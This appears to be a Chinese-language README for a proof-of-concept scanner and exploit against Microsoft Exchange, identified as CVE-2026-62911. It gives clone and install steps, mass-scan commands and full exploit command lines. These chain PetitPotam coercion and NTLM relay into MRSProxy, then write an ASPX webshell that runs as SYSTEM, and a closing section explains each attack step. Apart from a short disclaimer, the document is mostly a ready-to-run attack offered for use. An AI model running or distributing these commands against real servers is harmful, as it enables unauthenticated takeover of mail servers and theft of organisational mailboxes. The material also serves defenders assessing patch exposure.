CVE-2026-62911 — Exchange MRSProxy 预认证 RCE PoC | 扫描器 + 漏洞利用 | NTLM 中继 → Webshell → SYSTEM
Microsoft Exchange Server 中通过 NTLM 中继到由 HTTP.sys 托管的 MRSProxy WCF 端点实现的预认证远程代码执行,该端点缺少扩展认证保护(EPA)。
同时检测 CVE-2026-96940(CVSS 8.8)—— 权限提升漏洞,允许任何已认证用户读取组织内的所有邮箱。
┌─────────────┐ PetitPotam ┌─────────────┐ NTLM Relay ┌─────────────┐
│ Exchange A │──────────────→│ Attacker │──────────────→│ Exchange B │
│ (trigger) │ MS-EFSR │ (relay) │ MRSProxy │ (target) │
│ │ NTLM hash │ │ HTTP.sys │ │
└─────────────┘ └─────────────┘ └─────────────┘
│
IMailbox_Config6()
filePath=shell.aspx
│
IMailbox_Connect()
PSTSession.Open()
│
┌───────▼───────┐
│ ASPX Webshell │
│ NT AUTHORITY │
│ \SYSTEM │
└───────────────┘
无需任何凭据。 PetitPotam 触发未经身份验证的 MS-EFSR 强制认证。机器账户的 NTLM 哈希被中继到 MRSProxy,而 MRSProxy 缺少通道绑定(EPA)。ConfigPst 文件路径注入可将任意文件写入磁盘——没有扩展名验证。
| 产品 | 受影响 | 已修复 | KB |
|---|---|---|---|
| Exchange 2016 CU23 | < 15.1.2507.72 | 15.1.2507.72 | KB5121576 |
| Exchange 2019 CU14 | < 15.2.1544.43 | 15.2.1544.43 | KB5121575 |
| Exchange 2019 CU15 | < 15.2.1748.48 | 15.2.1748.48 | KB5121574 |
| Exchange SE RTM | < 15.2.2562.45 | 15.2.2562.45 | KB5121573 |
git clone https://github.com/c5z54/cve-2026-62911-poc.git
cd cve-2026-62911-poc
pip install -r requirements.txt
# Single target
python3 poc.py --scan -t mail.target.com
# Mass scan from file
python3 poc.py --scan -f targets.txt
# JSON output
python3 poc.py --scan -t mail.target.com --json
# Save results
python3 poc.py --scan -f targets.txt --json -o results.json
示例输出:
mail.target.com
MRSProxy: HTTP 401 Server=Microsoft-HTTPAPI/2.0 [VULNERABLE]
Version: 15.1.2507.39
Domain: CORP.TARGET.COM
Hostname: EXCH01.CORP.TARGET.COM
[!] CVE-2026-62911 (CVSS 8.0) — Pre-auth NTLM relay RCE via MRSProxy (no EPA)
Installed: 15.1.2507.39 | Patch: 15.1.2507.72 (KB5121576)
[!] CVE-2026-96940 (CVSS 8.8) — Privilege escalation — read any mailbox in org
Installed: 15.1.2507.39 | Patch: 15.1.2507.75 (KB5129958)
# Basic — two Exchange servers, zero credentials
python3 poc.py -t 10.0.0.10 -e 10.0.0.11 -l 10.0.0.100
# With AD credentials for PetitPotam
python3 poc.py -t 10.0.0.10 -e 10.0.0.11 -l 10.0.0.100 \
-u john -p 'P@ss123' -d CORP
# Custom webshell path
python3 poc.py -t 10.0.0.10 -e 10.0.0.11 -l 10.0.0.100 \
--webshell-path 'C:\inetpub\wwwroot\aspnet_client\x.aspx'
# Through SOCKS proxy
python3 poc.py -t 10.0.0.10 -e 10.0.0.11 -l 10.0.0.100 \
--socks 127.0.0.1 --socks-port 10800
# Verify webshell
python3 poc.py --verify-only -t 10.0.0.10
impacket >= 0.11.0(仅利用模式需要——扫描器使用标准库)pysocks(可选——SOCKS 代理支持)PetitPotam 在触发 Exchange 服务器上调用 EfsRpcOpenFileRaw(MS-EFSR,opnum 0),并传入指向攻击者的 UNC 路径。服务器使用其机器账户的 NTLM 哈希向攻击者进行身份验证。
NTLM 中继 通过 SMB 捕获 Type 1/2/3 NTLM 消息,并通过 HTTPS 将其转发到目标 Exchange 的 MRSProxy 端点。由于 HTTP.sys 上的 MRSProxy 缺少 EPA(通道绑定),中继得以成功。
WCF 利用 使用已认证的会话调用 IMailbox_Config6,并将 filePath 指向 .aspx webshell 的位置。PstDestinationMailbox.ConfigPst() 方法不验证文件扩展名。
文件写入 由 IMailbox_Connect() 触发,该方法调用 PSTSession.Open(),将攻击者的内容写入磁盘。
Webshell 以 NT AUTHORITY\SYSTEM 身份执行——服务器完全沦陷。
本工具仅供授权的安全测试和研究使用。仅可针对您拥有明确书面许可进行测试的系统使用。未经授权访问计算机系统属于违法行为。作者对任何滥用行为不承担责任。